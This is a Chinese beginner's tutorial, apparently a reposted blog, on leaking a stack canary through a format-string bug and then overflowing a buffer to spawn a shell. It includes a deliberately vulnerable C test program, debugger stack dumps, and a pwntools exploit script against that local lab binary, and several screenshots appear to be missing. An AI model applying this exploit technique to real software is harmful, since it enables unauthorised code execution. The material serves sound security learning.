内容简介:我们知道,缓冲区溢出漏洞利用的关键处就是溢出时,覆盖栈上保存的函数返回地址来达到攻击效果。于是就有人就设计出了很多保护机制:Canary、PIE、NX等。本文讨论的就是若程序只开启了canary保护机制,我们该怎么应对?该机制是在刚进入函数的时候,在栈底放一个标志位canary(又名金丝雀):
0×01 起
(这只是一次小白的随笔记录,有些操作不太成熟,欢迎各位看官指出交流)
我们知道,缓冲区溢出漏洞利用的关键处就是溢出时,覆盖栈上保存的函数返回地址来达到攻击效果。于是就有人就设计出了很多保护机制:Canary、PIE、NX等。本文讨论的就是若程序只开启了canary保护机制,我们该怎么应对?该机制是在刚进入函数的时候,在栈底放一个标志位canary(又名金丝雀):
当缓冲区被溢出时,在返回地址被覆盖之前, canary会首先被覆盖。当函数结束时会检查这个栈上 canary的值是否和存进去的值一致,就可以判断程序是否发生了溢出等攻击,紧接着程序将执行___stack_chk_fail函数,继而终止程序。
(为了方式发生信息泄露以及其他漏洞的利用 canary使用\x00对值进行截断,即canary的最低字节为00)
因此,我们绕过这种保护机制的方法,就是怎样使前后的canary判断正确。
一般canary有两种利用方式
1.爆破canary
(大致了解了一下)
2.如果程序存在字符串格式化溢出漏洞,我们就可以输出canary并利用溢出覆盖canary从而达到绕过。
这里我们讲解第二种方式。
0×02 承
不过在讲解之前,我们先来学习一下格式化字符串漏洞?
相信很多人都学过 C语言 吧!而C语言最普通的却必不可少的就是printf()函数了!也许大多数人以前几乎没有怎么关注过这个函数,那么今天就重新刷新对它的认知。
printf在C语言中一般是这种写法:
printf(“%d”,a); //输出数a的十进制格式
其中双引号里面是a的输出格式要求,常见的还有:
%d - 十进制 - 输出十进制整数 %s - 字符串 - 从内存中读取字符串 %x - 十六进制 - 输出十六进制数 %c - 字符 - 输出字符 %p - 指针 - 指针地址 %n - 到目前为止所写的字符数
其中:
此外,我们更没有见过:
例:
%k$x表示访问第k个参数,并且把它以十六进制输出
%k$d表示访问第k个参数,并且把它以十进制输出
……
平时的程序是这样:
但是如果 程序员 一不小心这样写呢?
哈哈,似乎输出结果没什么区别!别急,因为你不知道的是:
实际上,printf允许参数的个数并不固定,其中上面双引号为第一个参数:格式化字符串,后面的参数在实际运行时将与格式化字符串中特定格式的子字符串进行一一对应,将格式化字符串中的特定子串,解析为相应的参数值。
此处我们只是单独地打印一个字符串hello_world,如果我们用户输入的是一个格式化字符format(如%s、%d、%k$x),那么printf就会读取栈上的“数据”,至于这个数据是什么?(我也不知道)请看后文:
再来:
此时:
main+15处,我们往上翻翻:
而接下来的操作就是一直n操作到将printf参数入栈:
即:
汇编源码主体是:
0x8049189 <main+39> push 2 0x804918b <main+41> push 1 0x804918d <main+43> lea edx, [eax - 0x1ff3] 0x8049193 <main+49> push edx 0x8049194 <main+50> mov ebx, eax ► 0x8049196 <main+52> call printf@plt <0x8049030>
栈内容是:
00:0000│ esp 0xffffd260 —▸ 0x804a00d ◂— and eax, 0x64252064 /* '%d %d %d %d %s' */ 01:0004│ 0xffffd264 ◂— 0x1 02:0008│ 0xffffd268 ◂— 0x2 03:000c│ 0xffffd26c ◂— 0x3 04:0010│ 0xffffd270 ◂— 0x10 05:0014│ 0xffffd274 —▸ 0x804a008 ◂— je 0x804a06f /* 'test' */ 06:0018│ 0xffffd278 —▸ 0xffffd33c —▸ 0xffffd4e9 ◂— 'SHELL=/bin/bash' 07:001c│ 0xffffd27c —▸ 0x8049176 (main+20) ◂— add eax, 0x2e8a
这个时候我们又对源文件做一点改变:
重复以上步骤:
gcc -m32 -z execstack -fno-stack-protector -no-pie -o test test.c
输入r:
上述C语言程序中,我们只给了五个参数:1,2,3,16,test,但是我们给的格式字符串有7个。于是,printf函数按照格式打印了七个数据,但是多出来-11460以及134517110不是我们输入的,而是保存在栈中的另外两个数据。通过这个特性,就有了格式化字符串漏洞。
至此,格式化漏洞差不多讲明白了吧!
补充:vc6.0++可能不支持这样格式溢出,如:
但是在 linux 里面就可以打印出
7th:70,4th:0040
0×03 转
现在我们正式进入今天的主题:
待试验程序:
#include<stdio.h> void exploit() { system("/bin/sh"); } void func() { char str[16]; read(0, str, 64); printf(str); read(0, str, 64); } int main() { func(); return 0; }
gcc -no-pie -fstack-protector -m32 -o 5.exe 5.c checksec 5.exe
gdb 5.exe i b b func i b start
然后一直输入n,直到遇见func函数:
往上翻:
再n:
看见上面重点没?这就是今天的一个关键!(gs是一个段寄存器)
红框的意思是,从gs寄存器中取出一个4字节(eax)的值存到栈上。
我们可以直接输入canary:
这个时候我第一眼观察的就是我们前面所提到的:
canary设计是以“x00”结尾,本意就是为了保证canary可以截断字符串。泄露栈中canary的思路是覆盖canary的低字节,来打印出剩余的canary部分。
堆栈中的canary:
继续n,直到read函数调用:
再次查看栈(这个时候栈显示不完整,输入stack 20):
此时该canary所在位置离栈顶esp的偏移量为0x2c:
即(4个字节一组)11组。这个11很重要!等会我们就要用printf函数输出这个位置的canary。
往上翻:
输入n:
此时程序运行要求我们输入
这个时候我们就用上面所学的冷门格式化字符串%11$8x(代表输出):
这个时候再n:
(由于上次时间问题,没有做完!今天继续做笔记。因为每次编译运行canary的值是随意分配的,所以以下canary的值在昨天同样的操作步骤下,已经变了,不过!不影响!)
当函数结束时会检查这个栈上的值是否和存进去的值一致。
这个时候我们继续n,就会遇到第2个read函数,要求我们输入:
(看了这么久,估计源程序已经忘了!)
即:
经过上面的分析,我们已经知道第一个read函数的设置是为了打印出金丝雀的值,那么第二个read函数呢?
第二个函数就是我们精心构造的payload了!此时的payload就要保证在溢出攻击getshell的同时,就需要利用我们已经得到的canary值了!那么怎么利用已经得到的canary的值来得到payload呢?
这时我们可以使用 python 脚本进行第一次输入泄露canary后,在进行第二次输入的时候,在payload中将canary的位置填充成刚刚泄露出来的值即可。
找出exploit函数的入口地址!同样作为payload的一部分来getshell:
脚本python:
from pwn import * p=process("./5.exe") p.sendline("%11$08x") canary=p.recv()[:8] print(canary) canary=canary.decode("hex")[::-1] coffset=4*4 roffset=3*4 raddr=p32(0x8049192) payload=coffset*'a'+canary+roffset*'a'+raddr p.sendline(payload) p.interactive()
嗯!对于这段payload构造理解起来可能是本篇最困难的地方……
先运行一下能否成功吧:
重新运行,我们可以看见canary的值又变了:a03dd300,并且成功getshell!
那么我就根据payload来倒推怎么溢出?
回到刚刚我们的第二个read函数输入的地方:
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。